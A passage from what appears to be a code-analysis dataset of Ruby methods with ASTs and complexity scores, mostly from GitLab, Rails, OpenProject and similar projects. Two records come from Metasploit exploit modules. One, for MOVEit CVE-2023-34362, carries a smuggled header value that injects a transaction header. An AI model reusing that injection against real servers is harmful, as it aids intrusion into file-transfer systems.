type\":\"lvar\",\"children\":[\"image\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@executor_opts\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"image\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"executor_opts\"]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@pull_policy\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"image\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"pull_policy\"]}]}]}]}]},null]}]}","id":"eda896ec-04d9-453f-9917-e40bcf647ce6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/repositories/tree_finder.rb","start_line":65,"raw_source":"def pagination_params\n      {\n        limit: params[:per_page] || Kaminari.config.default_per_page,\n        page_token: params[:page_token]\n      }\n    end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"pagination_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"per_page\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Kaminari\"]},\"config\"]},\"default_per_page\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"page_token\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"page_token\"]}]}]}]}]}","id":"01f1017e-cc53-4d74-ae5d-b109fc8ddd13"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb","start_line":103,"raw_source":"def exploit\n    @swf = create_swf\n\n    super\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@swf\",{\"type\":\"send\",\"children\":[null,\"create_swf\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"21398f96-df9a-4589-bf3c-d683fae1e1cf"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/access_control.rb","start_line":89,"raw_source":"def disabled_permission?(action)\n        permissions = if action.is_a?(Hash)\n                        permission_path = normalized_controller_action_string(action)\n\n                        @mapped_permissions.select { |p| p.controller_actions.include?(permission_path) }\n                      else\n                        @mapped_permissions.select { |p| p.name == action }\n                      end\n\n        permissions.any? && permissions.all? { !it.enabled? }\n      end","complexity_score":23.9,"ast_json":"{\"type\":\"def\",\"children\":[\"disabled_permission?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"action\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"permissions\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"permission_path\",{\"type\":\"send\",\"children\":[null,\"normalized_controller_action_string\",{\"type\":\"lvar\",\"children\":[\"action\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mapped_permissions\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"controller_actions\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"permission_path\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mapped_permissions\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"name\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"action\"]}]}]}]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"permissions\"]},\"any?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"permissions\"]},\"all?\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"it\"]},\"enabled?\"]},\"!\"]}]}]}]}]}","id":"8da61061-41d3-4454-a701-0eb6bcc438b9"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_approval.rb","start_line":13,"raw_source":"def approve(userid, reason)\n    user = user_validate(userid)\n    update(\n      :state        => \"approved\",\n      :reason       => reason,\n      :stamper      => user,\n      :stamper_name => user.name,\n      :stamped_on   => Time.now.utc\n    )\n\n    # execute parent now that request is approved\n    execute_approval(user)\n  end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"approve\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"userid\"]},{\"type\":\"arg\",\"children\":[\"reason\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[null,\"user_validate\",{\"type\":\"lvar\",\"children\":[\"userid\"]}]}]},{\"type\":\"send\",\"children\":[null,\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"str\",\"children\":[\"approved\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reason\"]},{\"type\":\"lvar\",\"children\":[\"reason\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"stamper\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"stamper_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"stamped_on\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"execute_approval\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]}","id":"b901d2da-c0b1-457d-af7a-64f7acb5522d"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/caching/cached_representer.rb","start_line":67,"raw_source":"def json_cache_key\n          # In case of dynamically created classes like\n          # custom field injected subclasses.\n          classname = if self.class.name.nil?\n                        self.class.superclass.name\n                      else\n                        self.class.name\n                      end\n\n          classname.to_s.split(\"::\") + [\n            \"json\",\n            I18n.locale,\n            json_key_representer_parts\n          ]\n        end","complexity_score":17.9,"ast_json":"{\"type\":\"def\",\"children\":[\"json_cache_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"classname\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"superclass\"]},\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"classname\"]},\"to_s\"]},\"split\",{\"type\":\"str\",\"children\":[\"::\"]}]},\"+\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"locale\"]},{\"type\":\"send\",\"children\":[null,\"json_key_representer_parts\"]}]}]}]}]}","id":"6c092126-1a7f-4d81-99e7-871cc320bb4f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/source.rb","start_line":6,"raw_source":"def ref\n        return Gitlab.revision if Gitlab.pre_release?\n\n        \"v#{Gitlab::VERSION}\"\n      end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"ref\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"pre_release?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"revision\"]}]},null]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"v\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"VERSION\"]}]}]}]}]}","id":"a38aeddc-ca7e-4d10-bcb5-696dd798af89"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/lib/open_project/bim/bcf_xml/issue_writer.rb","start_line":133,"raw_source":"def topic_creation_date(topic_node)\n      target = fetch(topic_node, \"CreationDate\")\n      target.content = to_bcf_datetime(work_package.created_at)\n    end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"topic_creation_date\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"topic_node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"target\",{\"type\":\"send\",\"children\":[null,\"fetch\",{\"type\":\"lvar\",\"children\":[\"topic_node\"]},{\"type\":\"str\",\"children\":[\"CreationDate\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"content=\",{\"type\":\"send\",\"children\":[null,\"to_bcf_datetime\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_package\"]},\"created_at\"]}]}]}]}]}","id":"1c8c2b95-e1c9-47a9-9679-8a058da004cf"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/actionpack/controller/render_test.rb","start_line":134,"raw_source":"def render_template_with_instance_variables\n    @secret = \"in the sauce\"\n    render template: \"test/render_template_with_ivar\"\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"render_template_with_instance_variables\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@secret\",{\"type\":\"str\",\"children\":[\"in the sauce\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"template\"]},{\"type\":\"str\",\"children\":[\"test/render_template_with_ivar\"]}]}]}]}]}]}","id":"fb0d3c84-dff7-4cf4-bd8f-2e229d37b606"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/ems_refresh/save_inventory.rb","start_line":252,"raw_source":"def save_disks_inventory(hardware, hashes)\n    return if hashes.nil?\n\n    # Update the associated ids\n    hashes.each do |h|\n      h[:storage_id]         = h.fetch_path(:storage, :id)\n      h[:backing_id]         = h.fetch_path(:backing, :id)\n      h[:storage_profile_id] = h.fetch_path(:storage_profile, :id)\n    end\n\n    save_inventory_multi(hardware.disks, hashes, :use_association, [:controller_type, :location], nil, [:storage, :backing, :storage_profile])\n  end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"save_disks_inventory\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hardware\"]},{\"type\":\"arg\",\"children\":[\"hashes\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hashes\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hashes\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"h\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"storage_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"fetch_path\",{\"type\":\"sym\",\"children\":[\"storage\"]},{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"backing_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"fetch_path\",{\"type\":\"sym\",\"children\":[\"backing\"]},{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"storage_profile_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"fetch_path\",{\"type\":\"sym\",\"children\":[\"storage_profile\"]},{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"save_inventory_multi\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hardware\"]},\"disks\"]},{\"type\":\"lvar\",\"children\":[\"hashes\"]},{\"type\":\"sym\",\"children\":[\"use_association\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller_type\"]},{\"type\":\"sym\",\"children\":[\"location\"]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"storage\"]},{\"type\":\"sym\",\"children\":[\"backing\"]},{\"type\":\"sym\",\"children\":[\"storage_profile\"]}]}]}]}]}","id":"18db80ec-d72f-4ef0-8b97-4d753e301a38"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-safe_request_store/lib/gitlab/safe_request_store.rb","start_line":36,"raw_source":"def storage\n        store.store\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"storage\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"store\"]},\"store\"]}]}","id":"d24d0b6e-1193-4433-9b35-e677ebea6c25"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/users/internal.rb","start_line":119,"raw_source":"def duo_code_review_bot\n      email_pattern = \"gitlab-duo%s@#{Settings.gitlab.host}\"\n\n      unique_internal(User.where(user_type: :duo_code_review_bot), 'GitLabDuo', email_pattern) do |u|\n        u.bio = 'GitLab Duo bot for handling AI tasks'\n        u.name = 'GitLab Duo'\n        u.avatar = bot_avatar(image: 'duo-bot.png')\n        u.confirmed_at = Time.zone.now\n        u.private_profile = true\n      end\n    end","complexity_score":16.2,"ast_json":"{\"type\":\"def\",\"children\":[\"duo_code_review_bot\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"email_pattern\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"gitlab-duo%s@\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Settings\"]},\"gitlab\"]},\"host\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"unique_internal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_type\"]},{\"type\":\"sym\",\"children\":[\"duo_code_review_bot\"]}]}]}]},{\"type\":\"str\",\"children\":[\"GitLabDuo\"]},{\"type\":\"lvar\",\"children\":[\"email_pattern\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"u\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"bio=\",{\"type\":\"str\",\"children\":[\"GitLab Duo bot for handling AI tasks\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"name=\",{\"type\":\"str\",\"children\":[\"GitLab Duo\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"avatar=\",{\"type\":\"send\",\"children\":[null,\"bot_avatar\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"image\"]},{\"type\":\"str\",\"children\":[\"duo-bot.png\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"confirmed_at=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"now\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"private_profile=\",{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"6b03ec0b-1d7c-4c39-8931-5c3494e8208f"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/zone.rb","start_line":160,"raw_source":"def contains?(target)\n      return false if state? && target.country?\n      return false if zone_members.empty? || target.zone_members.empty?\n\n      if kind == target.kind\n        if state?\n          return false if (target.states.pluck(:id) - states.pluck(:id)).present?\n        elsif country?\n          return false if (target.countries.pluck(:id) - countries.pluck(:id)).present?\n        end\n      else\n        return false if (target.states.pluck(:country_id) - countries.pluck(:id)).present?\n      end\n      true\n    end","complexity_score":51.8,"ast_json":"{\"type\":\"def\",\"children\":[\"contains?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"state?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"country?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"zone_members\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"zone_members\"]},\"empty?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"kind\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"kind\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"state?\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"states\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"states\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},\"present?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"country?\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"countries\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"countries\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},\"present?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"states\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"country_id\"]}]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"countries\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},\"present?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]}]},{\"type\":\"true\",\"children\":[]}]}]}","id":"1391e5ae-af4e-4b9e-b1ab-1701ed3c888d"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/members/delete_work_package_shares_dialog_component.rb","start_line":54,"raw_source":"def paragraph(&) = render(Primer::Beta::Text.new(tag: \"p\"), &)","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"paragraph\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[null]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Primer\"]},\"Beta\"]},\"Text\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tag\"]},{\"type\":\"str\",\"children\":[\"p\"]}]}]}]},{\"type\":\"block_pass\",\"children\":[null]}]}]}","id":"06327b95-9740-43a8-9312-39b3b604800b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bitbucket_server/representation/comment.rb","start_line":50,"raw_source":"def author_email\n        author['emailAddress']\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"author_email\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"author\"]},\"[]\",{\"type\":\"str\",\"children\":[\"emailAddress\"]}]}]}","id":"ca827880-4f73-40cd-a743-29c14219f605"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/controllers/groups/settings/ci_cd_controller_spec.rb","start_line":156,"raw_source":"def perform_request\n      patch :update, params: params\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"perform_request\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"patch\",{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"send\",\"children\":[null,\"params\"]}]}]}]}]}","id":"a76298a3-c0a8-4c46-b8f8-f402d9e9fd30"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/github_import/representation/user.rb","start_line":22,"raw_source":"def self.from_json_hash(raw_hash)\n          new(Representation.symbolize_hash(raw_hash))\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"from_json_hash\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"raw_hash\"]}]},{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Representation\"]},\"symbolize_hash\",{\"type\":\"lvar\",\"children\":[\"raw_hash\"]}]}]}]}","id":"6defd55e-9349-4f4a-a1ce-f5c81c42007b"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/serialization_test.rb","start_line":21,"raw_source":"def method_missing(method_name, ...)\n      if method_name == :bar\n        \"i_am_bar\"\n      else\n        super\n      end\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"method_missing\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method_name\"]},{\"type\":\"forward_arg\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method_name\"]},\"==\",{\"type\":\"sym\",\"children\":[\"bar\"]}]},{\"type\":\"str\",\"children\":[\"i_am_bar\"]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"a79e60a4-400f-41c5-9224-d796033aac99"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/moveit_cve_2023_34362.rb","start_line":216,"raw_source":"def isapi_request(transaction, headers)\n    send_request_cgi({\n      'method' => 'GET',\n      'uri' => normalize_uri('moveitisapi/moveitisapi.dll?action=m2'),\n      'keep_cookies' => true,\n      'connection' => 'close',\n      'accept' => '*/*',\n      'headers' => {\n        'X-siLock-Test': 'abcdX-SILOCK-Transaction: folder_add_by_path',\n        'X-siLock-Transaction': transaction\n      }.merge(headers)\n    })\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"isapi_request\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"transaction\"]},{\"type\":\"arg\",\"children\":[\"headers\"]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"str\",\"children\":[\"moveitisapi/moveitisapi.dll?action=m2\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_cookies\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"connection\"]},{\"type\":\"str\",\"children\":[\"close\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"accept\"]},{\"type\":\"str\",\"children\":[\"*/*\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"X-siLock-Test\"]},{\"type\":\"str\",\"children\":[\"abcdX-SILOCK-Transaction: folder_add_by_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"X-siLock-Transaction\"]},{\"type\":\"lvar\",\"children\":[\"transaction\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"headers\"]}]}]}]}]}]}","id":"332aa702-7638-46b8-a140-6db28b7a3124"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/logger_thread_safe_level.rb","start_line":40,"raw_source":"def log_at(level)\n      old_local_level, self.local_level = local_level, level\n      yield\n    ensure\n      self.local_level = old_local_level\n    end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"log_at\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"level\"]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"old_local_level\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"local_level=\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"local_level\"]},{\"type\":\"lvar\",\"children\":[\"level\"]}]}]},{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"local_level=\",{\"type\":\"lvar\",\"children\":[\"old_local_level\"]}]}]}]}","id":"d327d1e4-509c-4e12-a6e8-7d287ea8dd22"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relations_test.rb","start_line":1966,"raw_source":"def test_automatically_added_reorder_references\n    scope = Post.reorder(\"comments.body\")\n    assert_equal %w(comments), scope.references_values\n\n    scope = Post.reorder(\"#{Comment.quoted_table_name}.#{Comment.quoted_primary_key}\")\n\n    assert_equal [\"comments\"], scope.references_values\n\n    scope = Post.reorder(\"comments.body\", \"yaks.body\")\n    assert_equal %w(comments yaks), scope.references_values\n\n    # Don't infer yaks, let's not go down that road again...\n    scope = Post.reorder(\"comments.body, yaks.body\")\n    assert_equal %w(comments), scope.references_values\n\n    scope = Post.reorder(\"comments.body asc\")\n    assert_equal %w(comments), scope.references_values\n\n    scope = Post.reorder(\"foo(comments.body)\")\n    assert_equal [], scope.references_values\n  